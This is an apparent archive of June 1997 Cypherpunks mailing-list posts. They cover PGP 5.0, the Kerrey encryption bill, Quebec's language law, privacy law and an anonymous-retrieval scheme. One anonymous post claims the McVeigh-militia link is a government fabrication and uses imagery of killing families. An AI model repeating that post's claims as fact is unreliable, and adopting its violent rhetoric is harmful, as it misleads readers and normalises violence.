About the only old-line place of that type left is Tam O'Shanter. 

Best,

Joe Shea
Editor-in-Chief
The American Reporter
joeshea@netcom.com
http://www.newshare.com:9999








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Arunas Norvaisa <arunas@post1.com>
Date: Tue, 17 Jun 1997 22:30:59 +0800
To: "Silvakow" <ea2onov@atlas.moa.net>
Subject: Re: PGP for Windows 95
Message-ID: <3.0.32.19970617171734.00688900@post1.com>
MIME-Version: 1.0
Content-Type: text/plain



On 08:55 AM 97.06.17 +0000, Silvakow wrote (and I quoted):
>
>Has anyone yet checked out PGP for Windows 95?  It's $50 at stores 
>right now.  Information from pgp.com, but I want to know more before 
>I buy it.  Is it worth it?  Should I stick with PGP for DOS?  And 
>does anyone know if those PGP public keys are compatible with DOS 
>PGP?

 What d'ya mean??? PGP 5.0 is much more (not USD 50 in any case);
freeware PGP (latest version 2.6.2 for USA and 2.6.3i outside US)
is working just fine in MS-Dos shell under windoze'95... If you
mean specific shell (what I doubt), it's not PGP itself and you'll
still will get those dos windows anyway...


--
greetz... Arunas Norvaisa - little guy, The Masses Inc.
<mailto:arunas@post1.com> with subject: 'send key' to get PGP key
PGP for idiots page <http://www.a-vip.com/an>
  and a mirror site <http://www.post1.com/~arunas>
Programming Department:  Mistakes made while you wait.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tom Weinstein <tomw@netscape.com>
Date: Wed, 18 Jun 1997 08:53:00 +0800
To: Greg Broiles <gbroiles@netbox.com>
Subject: Re: Kerrey bill introduced in Senate
In-Reply-To: <3.0.2.32.19970617144146.009656c0@mail.io.com>
Message-ID: <33A72D23.855D7AAA@netscape.com>
MIME-Version: 1.0
Content-Type: text/plain



Greg Broiles wrote:
> 
> Sen. Kerrey's evil "Secure Public Networks Act" was introduced in the
> Senate today, cosponsored by Sen. McCain.

The bill is S.909, and it's described as "A bill to encourage and
facilitate the creation of secure public networks for communication,
commerce, education, medicine, and government."

It was also cosponsored by Sen. Hollings(SC).  It's been referred to
the Commerce committee.  Here's a list of all the committee members.

 Republicans            Democrats
 -----------            ---------
 McCain (AZ)            Hollings (SC)
 Stevens (AK)           Inouye (HI)
 Burns (MT)             Ford (KY)
 Gorton (WA)            Rockefeller (WV)
 Lott (MS)              Kerry (MA)
 Hutchison (TX)         Breaux (LA)
 Snowe (ME)             Bryan (NV)
 Ashcroft (MO)          Dorgan (ND)
 Frist (TN)             Wyden (OR)
 Abraham (MI)
 Brownback (KS)

-- 
What is appropriate for the master is not appropriate| Tom Weinstein
for the novice.  You must understand Tao before      | tomw@netscape.com
transcending structure.  -- The Tao of Programming   |





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rabid Wombat <wombat@mcfeely.bsfs.org>
Date: Wed, 18 Jun 1997 07:27:42 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Declan as a Budding Washington Insider
In-Reply-To: <v0310280fafcc7457ea6c@[207.167.93.63]>
Message-ID: <Pine.BSF.3.91.970617175042.26222B-100000@mcfeely.bsfs.org>
MIME-Version: 1.0
Content-Type: text/plain




Dear Citizen-Unit May;

It is not easy working in the Washington area. All of us have to devote a 
significant amount of time to inventing newsworthy activies to keep the 
media well-fed and all of you west-coast slackers entertained. We would 
appreciate it if you showed more respect for our efforts. While you're at 
it, try to pay a bit more in taxes; things are getting to be almost as 
expensive over here as they are out in the valley. I was knocking back a 
brew with Bill the other day, and it cost me five bucks.

-SpinMarsupial

On Tue, 17 Jun 1997, Tim May wrote:

> Dorothy (and not the Oz one). In D.C., the whole political process is a
> series of social contacts. This is markedly different from life here in the





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Wed, 18 Jun 1997 07:58:35 +0800
To: cypherpunks@EINSTEIN.ssz.com (Cypherpunks Distributed Remailer)
Subject: Kerrey bill introduced in Senate (fwd)
Message-ID: <199706172318.SAA01303@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Hi,

Forwarded message:

> Date: Tue, 17 Jun 1997 19:09:09 -0400
> From: Robert Hettinga <rah@shipwright.com>
> Subject: Kerrey bill introduced in Senate

> Sen. Kerrey's evil "Secure Public Networks Act" was introduced in the
> Senate today, cosponsored by Sen. McCain.
> 
> The bill, if passed, would:
> 
> Criminalize breaking another person's ciphertext for the purpose of
> violating their privacy, security, or property rights; (goodbye, Netscape
> bugs bounty and DES/RC4 cracks) (s. 105(3))

Actualy it would prevent me from cracking your ciphertext, it does not
prevent me from trying to crack my own ciphertext. Since I am supplying the
plaintext it is clear that I can continue to test Netscape or any other
algorithm. It also implies, by specificaly mentioning privacy, that you can
give me permission to attempt to crack your ciphertext. It, intentionaly or
not, give you the individual the choice and not Uncle Sam.

> Criminalize intercepting another's intellectual property for the purpose of
> violating intellectual property rights (s. 105(4))

I have absolutely no problem with making it illegal for you to packet sniff
my network when your specific goal is to take internal information against
my will and use it against me.

I think this is the kind of law that needs to be made. I would however
suspect that existing law covers this quite thoroughly.

> Require federal government purchasers of crypto equipment to buy GAK
> crypto; (s. 202, 204)

The federal government can require whatever the hell it wants of itself. I
don't work for them anymore and would not consider it in the future. When
they start telling me that I have to do something for their convenience,
then and there I have a major bitch.

> Require crypto products purchased with federal funds for use on a public
> network to employ GAK crypto; (s. 203, 205)

See above.

> Legalize the export of 56-bit DES crypto; (s. 302)

Ain't much, but it is a step in the right direction. I mean, 64-bit ain't
that far from 56, and shoot if your gonna give me 64 how about 128 since it
is ONLY twice as 'large'.

> Criminalizes the issuance of signature certificates by registered CA's for
> encryption keys if the user has not complied with GAK procedures; (s.
> 407(a)(4))

When did they pass a law requiring registration of CA's in the first place?
Or is this another law that only applies to voluntarily registered
government  CA's? And just exactly what is the ANSI/ISO standard of said
registrant? RFC?

> Criminalizes requesting a signature certificate for an encryption key from
> a registered CA if the user has not complied with GAK procedures; (s.
> 407(a)(5))

I don't understand this. Is the person asking committing the crime for
asking for a signature certificate without complying with GAK processes?
Or is the person refusing to register their key with a CA after the CA
received a request from a third party?

> Allows the Secretary of Commerce to "make investigations, obtain
> information, take sworn testimony, and require reports or the keeping of
> records by .. any person", to the extent necessary to enforce the Act; (s.
> 701(a))

Are you saying they must require everyone in a particular business class to
comply with their regulatory mechanations without exception OR that they
will be able to force such regulatory excesses as they can squeeze out of an
individual person/business?

> Allows the Secretary of Commerce to subpoena witnesses and documents in any
> State at any designated place; (s. 701(b)(3)(A))

Their enforcement agents already have this power since they are considered
federal agents equivalent to DEA or FBI (Hint: NEVER argue with a guy wearing
NOAA, NASA, USGS, DoA, etc. *AND* a badge).

> Allows the Secretary of Commerce to impose civil/adminstrative penalties of
> up to $100K for violations of the Act; (s. 702(1))

Without trial?

    ____________________________________________________________________
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Damaged Justice <frogfarm@yakko.cs.wmich.edu>
Date: Wed, 18 Jun 1997 06:33:00 +0800
To: cypherpunks@Algebra.COM
Subject: 4471.html
Message-ID: <199706172233.SAA21817@yakko.cs.wmich.edu>
MIME-Version: 1.0
Content-Type: text/plain




   Web Anglais? Non, S'il Vous Plait --> Ashley Craddock -->
   [1]arrow Web Anglais? Non, S'il Vous Plait
   by [2]Ashley Craddock
   
   9:02am  17.Jun.97.PDT When Quebec computer-store owner Morty Grauer
   got a letter telling him to get rid of his Web page, change it, or
   else, he rolled over. But he wasn't happy about it.
   
   "I don't need subpoenas, fines, or going to court," Grauer told the
   [3]Montreal Gazette. "But what gets my goat is when they make me do
   something. I'm enraged right now. How can they tell you what to do on
   the Internet?"
   
   But according to the Quebec's Office de la Langue Francaise, they can
   do it pretty easily - jurisdictional issues notwithstanding. Because
   Grauer's Web site was in English, because it was on a Quebecois
   server, and because it had no French component, his [4]microbytes.com
   was illegal, plain and simple.
   
   "The Micro-Bytes Web page violated the Charter of the French
   Language," spokesman Gerald Paquette said Monday. So on 29 May, the
   OLF sent Grauer a letter, threatening to revoke his certificate of
   "francization," a legal necessity for businesses with 50-plus
   employees. Grauer has said he will comply as of 1 July.
   
   Crafted in the pre-Internet 1970s, Quebec's Charter of the French
   Language stipulates that commercial publications such as catalogs,
   brochures, leaflets, and commercial directories must be available in
   French. It also denies English-language education to immigrants, even
   those from English-speaking countries. (A separate Canadian federal
   law on bilingualism has a much more limited scope, requiring the
   government to publish information in both English and French.)
   
   In the separationist furor that has raged over Quebec for decades, the
   charter has been a highly controversial bulwark against anglicization
   and cultural dilution. In Montreal, large businesses are bilingual. On
   the streets, English words are no longer displayed. In homes and
   schools, the phrase, "le weekend," common parlance in France, is
   almost never heard.
   
   But whether or not the 20-year-old charter will have any teeth in the
   age of the Internet and free trade remains unclear.
   
   Although the charter has been relatively successful in terms of
   maintaining linguistic purity, its economic effects have been harsh:
   An estimated 300,000 residents and 1,000 businesses have left the
   province since the law was passed. And the Internet is expected to
   exact a high toll for such linguistic balkanization: An estimated 90
   percent of online communications are in English, only 2 percent in
   French.
   
   In France itself, where linguistic purity campaigns have recently
   taken on some degree of political chic, language activists have sued
   three sites under a 1994 law that bans single-language advertising in
   any language but French. The suits, which would have tested the law's
   application to Web sites for the first time, were dismissed last week
   on a technicality.
   
   In the free-speech-happy Internet, however, a four-year-old United
   Nations ruling may prove the most ominous indicator for attempts to
   enforce language purity: After reviewing the case of an
   English-speaking Canadian forced to call his funeral home a "salon
   funeraire," The UN's Human Rights Council found that the Canadian
   charter was in violation of the free-speech provision of the
   International Covenant on Civil and Political Rights.
   
   Still, the Office de la Langue Francaise is determined to hold the
   linguistic line.
   
   "Quebec wants to be a player in the global market, but there's a real
   chance it will erode our sense of language, of identity," Paquette
   said. "It's the same thing with the Internet: We feel threatened by
   it. It gives us the possibility of communicating with French speakers
   in France, Belgium, Switzerland, and North Africa, but English is the
   lingua franca of the Web. If we don't enforce this law, that'll only
   be more true in the future."
   Related Wired Links:
   [5]Web Sites Foil Canada's Election Poll Ban
   3.Jun.97
   [6]Canadian Election Law Prompts Web Site Battle
   27.May.97
   [7]arrow
   
   [8]Find Read a story in the Wired News archive.
   [9]Feedback Let us know how we're doing.
   [10]Tips Have a story or tip for Wired News? Send it.

        [11]Copyright (c) 1993-97 Wired Ventures, Inc. and affiliated companies.
        All rights reserved.

References

   1. http://www.wired.com/news/top_stories/
   2. mailto:craddock@wired.com
   3. http://www.montrealgazette.com/
   4. http://www.microbytes.com/main.html
   5. http://www.wired.com/news/topframe/4221.html
   6. http://www.wired.com/news/topframe/4081.html
   7. http://www.wired.com/news/top_stories/
   8. http://www.wired.com/news/search.html
   9. mailto:newsfeedback@wired.com
  10. mailto:tips@wired.com
  11. http://www.wired.com/wired/full.copyright.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 18 Jun 1997 07:25:50 +0800
To: cypherpunks@toad.com
Subject: Kerrey bill introduced in Senate
Message-ID: <v03020920afccc9833852@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


X-Sender: gbroiles@mail.io.com (Unverified)
Date: Tue, 17 Jun 1997 14:41:46 -0700
To: cypherpunks@cyberpass.net
From: Greg Broiles <gbroiles@netbox.com>
Subject: Kerrey bill introduced in Senate
Mime-Version: 1.0
Sender: owner-cypherpunks@cyberpass.net
Precedence: bulk
Reply-To: Greg Broiles <gbroiles@netbox.com>
X-Loop: cypherpunks@cyberpass.net


Sen. Kerrey's evil "Secure Public Networks Act" was introduced in the
Senate today, cosponsored by Sen. McCain.

The bill, if passed, would:

Criminalize the knowing use of crypto to encrypt data or communications in
furtherance of a crime; (s. 104)

Criminalize breaking another person's ciphertext for the purpose of
violating their privacy, security, or property rights; (goodbye, Netscape
bugs bounty and DES/RC4 cracks) (s. 105(3))

Criminalize intercepting another's intellectual property for the purpose of
violating intellectual property rights (s. 105(4))

Criminalize issuing a key to another person in furtherance of a crime (s.
105(6))

Require federal government purchasers of crypto equipment to buy GAK
crypto; (s. 202, 204)

Require crypto products purchased with federal funds for use on a public
network to employ GAK crypto; (s. 203, 205)

Legalize the export of 56-bit DES crypto; (s. 302)

Criminalizes the issuance of signature certificates by registered CA's for
encryption keys if the user has not complied with GAK procedures; (s.
407(a)(4))

Criminalizes requesting a signature certificate for an encryption key from
a registered CA if the user has not complied with GAK procedures; (s.
407(a)(5))

Allows the Secretary of Commerce to "make investigations, obtain
information, take sworn testimony, and require reports or the keeping of
records by .. any person", to the extent necessary to enforce the Act; (s.
701(a))

Allows the Secretary of Commerce to subpoena witnesses and documents in any
State at any designated place; (s. 701(b)(3)(A))

Allows the Secretary of Commerce to impose civil/adminstrative penalties of
up to $100K for violations of the Act; (s. 702(1))


Ugh. The original is online at
<http://www.senate.gov/~kerrey/encrypt/encrypt2.html>, mirrored at
<http://www.parrhesia.com/kerrey.html>.




--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         |
http://www.io.com/~gbroiles | Export jobs, not crypto.

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 18 Jun 1997 10:47:41 +0800
To: cypherpunks@cyberpass.net
Subject: The Tao
In-Reply-To: <3.0.2.32.19970617144146.009656c0@mail.io.com>
Message-ID: <v03102802afccf9fc2392@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 5:34 PM -0700 6/17/97, Tom Weinstein wrote:

>What is appropriate for the master is not appropriate| Tom Weinstein
>for the novice.  You must understand Tao before      | tomw@netscape.com
>transcending structure.  -- The Tao of Programming   |

All Beings are happy when the Tao approaches 8800.



--Tim "still long the market" May



There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Wed, 18 Jun 1997 11:44:20 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Declan as a Crime Beat Reporter
In-Reply-To: <v03102800afcc849b8fca@[207.167.93.63]>
Message-ID: <199706180334.UAA12837@netcom2.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain




[declan]
>Another way of viewing the Washington reporter problem is to view him as a
>Hollywood reporter, sort of an Army Archerd character "doing lunch" at
>Chasen's and The Brown Derby, not to mention doing lines at the Viper Club.
>
>But a more accurate comparison is to crime beat reporters, those scribblers
>who hang out at the Mafia watering holes and social clubs (when they're
>allowed in, to spin a story in a favorable way), reporting on the turf
>battles between the rival factions, and leaking out rumors of who's
>planning to make a move on Vinnie Bones.

ah, so lets see, given your strange fascination with the mafia and
mafia-like ventures such as Blacknet and anonymous digital-cash
funded cyberspace assassination, that would make you a prime
Declan follower and admirer.

>One more day in the life of Declan McCullagh, Washington Crime Family Reporter

hee, hee, I hope that Declan comes up with an amusing mishmash of your
own life. turnabout is fair play. maybe if he doesn't, someone else
can take a stab at satirizing mr. debauched millionaire playboy
who dabbles in cryptography theory.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Wed, 18 Jun 1997 11:59:53 +0800
To: Tim May <tcmay@got.net>
Subject: Re: The Tao
In-Reply-To: <v03102802afccf9fc2392@[207.167.93.63]>
Message-ID: <199706180340.UAA13412@netcom2.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain




>
>>What is appropriate for the master is not appropriate| Tom Weinstein
>>for the novice.  You must understand Tao before      | tomw@netscape.com
>>transcending structure.  -- The Tao of Programming   |
>
>All Beings are happy when the Tao approaches 8800.

the crass, ignorant, and materialistic mistake the Tao for the Dow.
when the Dow melts down, those that believe in it will be as shattered
as those clinging to a false religion. they will be like the 
priests of a fallen hypocrisy. this is the way of the
Tao, to arrive at truth by swimming through falsity. for
the master it need not be so. but masters are rare. if they
were not rare, it would not be the Tao.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: announce@lists.zdnet.com
Date: Wed, 18 Jun 1997 12:15:01 +0800
To: cypherpunks@toad.com
Subject: Announcing E3News.Com!
Message-ID: <JOB.3.zd.0.announce.0.text.zdbuild.17044.06171997200006.108469@tahiti.merc.com>
MIME-Version: 1.0
Content-Type: text/plain



-----------------------------------------------------------------
   ZDNET ANNOUNCEMENT          6/17/97
-----------------------------------------------------------------

E3News.com to Cover Gaming's Biggest Show in Real Time!

The GameSpot Network will be broadcasting live from the Electronic
Entertainment Expo (E3) in Atlanta this week. E3 is the biggest 
show in the games industry. You can learn about the show, and see
it all as it happens right now at the E3 News.com site:

http://www.e3news.com

More than fifty editors from GameSpot, VideoGameSpot, GameSpot 
News, Computer Gaming World, Electronic Gaming Monthly, EGM2 and 
P.S.X. will be roaming the show floor on June 19, 20 and 21 to 
bring you all the stories from this computer and video game 
extravaganza.

Read about the newest games, the latest hardware, the biggest 
stories, all posted live from the E3 News media center on the 
show floor. The site will be updated continuously, so you'll see 
everything as it happens.

E3News.com will also bring you coverage of the outrageous parties
and after-hours events. It's the next best thing to being there!
If you like games, E3News.com is a must see!

--- E3News.com ---

http://www.e3news.com	

--- The GameSpot Network - Your Games Channel on ZDNet ---

http://www.gamespot.com

_______________________________________________________________       

ZDNet Announcements are periodic notices of new features,
special events and free offers available to members of ZDNet. 

--To subscribe to ZDNet Announcements, please send mail to:
announce-on@lists.zdnet.com        
You can leave the subject and body blank.        

--To unsubscribe to ZDNet Announcements, please send mail to:
announce-off@lists.zdnet.com       
You can leave the subject and body blank. 
_______________________________________________________________


Powered by Mercury Mail: http://www.merc.com
===============================================================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jamie Lawrence <jal@acm.org>
Date: Wed, 18 Jun 1997 14:24:56 +0800
To: cypherpunks@toad.com
Subject: Re: eDrugs / Re: e$: Skins vs. Shirts
In-Reply-To: <199706161942.VAA03680@basement.replay.com>
Message-ID: <v03102801afcd2dc1338e@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



At 9:42 PM +0200 on 6/16/97, Anonymous wrote:


> Do _you_ have the hacker nature?
> <IMG HREF="http://www.blacknet.net/snowcrash.gif">
> Do you _still_ have the hacker nature?
>
>                  Raven

% whois blacknet.net

American Black Entrepreneurs Association BLACKNET4-DOM
   P.O. Box 1304
   Montclair, NJ 07042
   US

   Domain Name: BLACKNET.NET

   Administrative Contact, Technical Contact, Zone Contact:
      Durko, David  DD775  kabmed@IX.NETCOM.COM
      201-497-1400
   Billing Contact:
      Durko, David  DD775  kabmed@IX.NETCOM.COM
      201-497-1400

   Record last updated on 05-Apr-97.
   Record created on 05-Apr-97.
   Database last updated on 16-Jun-97 05:26:09 EDT.

   Domain servers in listed order:

   NS1.SPRINTLINK.NET           204.117.214.10
   NS2.SPRINTLINK.NET           199.2.252.10

%

--
"This analogy is like lifting yourself by your own bootstraps."
                                         -Douglas R. Hofstadter
_______________________________________________________________
Jamie Lawrence                                      jal@acm.org






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 18 Jun 1997 11:44:59 +0800
To: cypherpunks@toad.com
Subject: Re: The Tao
In-Reply-To: <v03102802afccf9fc2392@[207.167.93.63]>
Message-ID: <oZ4g9D37w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



> --Tim "still long the market" May

May not be a smart idea.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 18 Jun 1997 15:06:31 +0800
To: "Silvakow" <ea2onov@atlas.moa.net>
Subject: Re: PGP for Windows 95
In-Reply-To: <B0001773986@atlas.moa.net>
Message-ID: <3.0.2.32.19970617235457.0075b1d8@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 08:55 AM 6/17/97 +0000, Silvakow wrote:
>Has anyone yet checked out PGP for Windows 95?  It's $50 at stores 
>right now.  Information from pgp.com, but I want to know more before 
>I buy it.  Is it worth it?  Should I stick with PGP for DOS?  And 

Get the beta at www.pgp.com and try it out.  I've been very pleased
with it - the integration into Eudora is very nice, and the
PGPtray icon works much better than the Enclyptor did - you can
encrypt/decrypt/sign/verify to and from the clipboard,
making it easy to work with non-PGP-aware applications.
The key management has been mostly separated from the encryption,
which was really the right thing to do anyway,
and if you like GUIs, it's got one.  

If you're trying to write programs to integrate PGP
without using the GUI, you'll have to do some work again;
enough of the details have changed.

>does anyone know if those PGP public keys are compatible with DOS PGP?

PGP 5.0 uses two types of keys - the familiar RSA keys, which are handled
compatibly with previous versions of PGP, and new-algorithm keys,
which use DSA for signatures, Diffie-Hellman for encryption, and SHA-1 hashes.
It can use the old keys, and generate RSA keys you can use with older PGP,
but obviously the older PGP can't use the DSA/DH keys.  I don't remember
if the freeware version that you can get at MIT will also generate 
new RSA keys or only use them.

The keyring files themselves are obviously different, since they 
can contain DSA/DH keys and some other data, but they're upward compatible.


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 3umoelle@informatik.uni-hamburg.de (Ulf =?iso-8859-1?Q?M=F6ller?=)
Date: Wed, 18 Jun 1997 07:52:39 +0800
To: fight-censorship@vorlon.mit.edu
Subject: Re: Regulating the Net
In-Reply-To: <199706171126.HAA08815@arutam.inch.com>
Message-ID: <m0we76O-0003b9C@ulf.mali.sub.org>
MIME-Version: 1.0
Content-Type: text/plain



> Note the privacy protections being written into law in Germany:
> 
> "Privacy protection: Personal data can be gathered only to the
> extent that is necessary to perform the requested service (like
> connecting to the Internet) or for accounting purposes, and must be
> erased immediately thereafter. The consumers must be forewarned of
> the type, scope and place of the data collection and have the right
> to access their personal information at any time."
> 
> Since this bill is now passing into law, I will expect an immediate 
> exodus of corporations from the country in order to avoid these 
> draconian laws.  Better start selling my deutschemarks, huh?

There is nothing much new in that law.  Internet service providers
have always been subject to the general Privacy Law.  Also have a look
at the EU privacy directive, which is similar in spirit:
http://www.echo.lu/legal/en/dataprot/directiv/directiv.html

You'll probably not be very surprised to learn that e.g. many credit
card companies operate from Denmark or the Netherlands, and that even
the state-owned railway company has orders for their customer cards
processed in the US and the cards mailed from Holland.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Wed, 18 Jun 1997 16:38:37 +0800
To: cypherpunks@toad.com
Subject: Dateline=FUD / Witness=Reality
Message-ID: <199706180813.BAA08280@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain



  It is interesting to note the differences between the U.S. media and 
the Canadian media in the wake of the McVeigh trial.

  Dateline NBC is milking the remaining viewer interest by doing a
fear-piece on the dangerous threat to the country that militia groups
pose, despite the fact that the McVeigh=Militia mental construct is
a total government fabrication.
  Dateline promotes great fear over the danger posed by the existence of
citizens who "resist government control." Apparently, any citizens who
wish for freedom from government control are an enemy of the government.
Any citizens who wish to take steps to be able to defend their own
personal freedom are an enemy of the government.

  Following Dateline was Witness, a Canadian show, running a production
called "Surviving Waco."
  "Surviving Waco" was a straight documentary with little "spin" to its
theme. It reviewed the Waco tragedy without placing large amounts of
blame or adding imaginary conspiracy theories.
  What made the show startling was the fact that without all of the
hype and hoopla of spin-doctored media coverage the whole affair turned
out to be a simple case of government agencies launching an assault
against a group of people who held unusual religious beliefs.

  When you strip the hype and hoopla away from the OKC bombing, what is
really left?
  A former member of the U.S. military decided that the U.S. government
is an enemy of the citizens and should be subjected to armed assault.

  Those who made the decisions resulting in the deaths of men, women
and children in Waco are drawing government paychecks while the victims
who survived the assault are in jail.
  The person who made the decision resulting in the deaths of men,
women and children in OKC faces death and the victims who survived are
heros.

  The true tragedy surrounding these events is the fact that the
media gets away with feeding the public hype and hoopla because
that is all the public really wants to hear. Reality is just too
damn scary.
  Reality is that when the government screws up an operation so
badly that it gets totally out of hand and results in the deaths
of a multitude of citizens, the survivors will be imprisoned in
order to accentuate their guilt and the government's innocence.
  Reality is that a single person with no connections to any
(perceived) radical group can commit an act of destruction 
against government buildings and their occupants, and the
government can confiscate all the weapons and do all the
wiretaps they want without making the public any more secure 
against this possibility.

  The public wants to be told that the "danger" can be removed
if this-or-that group is neutralized. The public wants the media
to name an enemy that we can be protected from--militia, drug
dealers, pornographers, cryptologists.
  Reality is too scary.
  Reality is that I can pick up the garden hoe outside and
walk over to my neighbor's house and whack his whole family
over the head, and he can do the same. (Reality is the fact
that I would spend 5 more years in prison than he, because
I have PGP on my computer.) Reality is that if government
takes away all the guns and crypto, and taps all the phones,
and even takes away my garden hoe, I can break off a good,
thick tree branch and go whack the public over the head.
(even innocent children!)

  We live in a Media Reality where the slaughter of men, women and 
children is given a spin to provide whatever illusion the media and
the polls deem will sell the most Pepsi to the public.
  The public doesn't want to hear that the 800 law enforcement agents
surrounding Waco are monsters. They don't want to hear that people can
be slaughtered for their religious beliefs by government forces. They
do want to believe that a single monster is responsible for OKC and
that killing him will remove the threat.
  And most of all, the public wants to believe that the Branch Davidians
"had it coming," because, if they didn't, then the possibilities it
raises are too frightening to imagine.

  The problem, of course, is that the greater the number and the more
varied the groups of people who resist increasing government control,
then the greater and the more varied will be the list of people who 
"have it coming."
  Currently, cryptographers are being added to the list of those who
"have it coming." The media reports of the government assault on the
meeting place for the Bay Area Cypherpunks meeting will be accompanied
by government proof of the Cypherpunks having started the fire in which
they died. There will be great media coverage of the Cypherpunks'
conspiracies to poison water supplies, make drugs and deal in child
pornography (under their "leader," Jim Bell, of course).
  Oh, I forgot about Cypherpunks' plans to "nuke D.C." If that isn't
enough to make us all "monsters" then what is?

  Of course, while we are sitting in jail (or walking toward the gas
chamber) we can take consolation in the fact that perhaps somewhere
there is a country showing a documentary which reflects the reality
of our lives and our actions, instead of the hype and hoopla needed to
sell more Pepsi.

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ghio@temp0097.myriad.ml.org (Matthew Ghio)
Date: Wed, 18 Jun 1997 16:37:08 +0800
To: cypherpunks@cyberpass.net
Subject: Recipient Anonymity
Message-ID: <199706180825.BAA20903@myriad.alias.net>
MIME-Version: 1.0
Content-Type: text/plain



A group of servers collects messages of equal length for anonymous
recipients.  All servers exchange messages so that each has copies of all
messages.

A recipient wishes to retrieve a message from the servers without any
server knowing which message he is receiving.  The recipient selects a
group of n servers.  From each server, S_1...S_n-1, he requests a random
selection of messages, with a 50% probability that any particular message
will be selected.  The server returns the xor of all messages requested.
He sends the final server a request which is the xor of all the previous
requests and the one single message that he wants.

The xor of all the responses is the desired message.  It is impossible to
determine which message was received unless all servers collude.

A variant of this scheme where there is only one server and a number of
anonymizing proxies will also work, however in this case there must be
sufficient delay to obscure the time correlations or the server will know
which message was received, and collusion with any one of the proxies
could reveal the recipient.

It is also possible to eliminate the need for real-time communication and
operate the system on a store-and-forward network.  The recipient
generates a one time pad and sends it to a remailer/messageserver along
with a reply-block which is a nested series of encrypted message requests
and next-hop addresses.  Each remailer along the way xors the requested
messages onto the existing message data before forwarding it to the next
hop.  When the recipient gets his message back, he decrypts it using the
one time pad.  To account for the situation where first and last remailer
collude, it is desireable to have some of the intervening remailers apply
a stream cipher to the message using a supplied key.

The server-to-server broadcast eliminates the need for cover traffic, but
the anonymizing proxy system does not.  However, there is no reason that
both schemes could not be used concurrently in the same network, and in
fact they would look the same to the end-user.

Except for the additional server-to-server communications necessary to
broadcast new messages into the system, the bandwidth utilization is
comparable to sender-anonymous remailers; it scales linearly as the
number of parties involved in the delivery of a particular message.  The
failure rate is also the product of the failure rate for each server; if
one server delivers corrupt data, the message is unreadable, and the
recipient must identify the bad server and eliminate it from future
requests.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Shabbir J. Safdar" <shabbir@vtw.org>
Date: Wed, 18 Jun 1997 14:25:42 +0800
To: cypherpunks@toad.com
Subject: ALERT: Senate to vote on mandatory key escrow as early as Thu June 19!
Message-ID: <199706180606.CAA22144@panix3.panix.com>
MIME-Version: 1.0
Content-Type: text/plain



=============================================================================
          ____                  _              _   _
         / ___|_ __ _   _ _ __ | |_ ___       | \ | | _____      _____
        | |   | '__| | | | '_ \| __/ _ \ _____|  \| |/ _ \ \ /\ / / __|
        | |___| |  | |_| | |_) | || (_) |_____| |\  |  __/\ V  V /\__ \
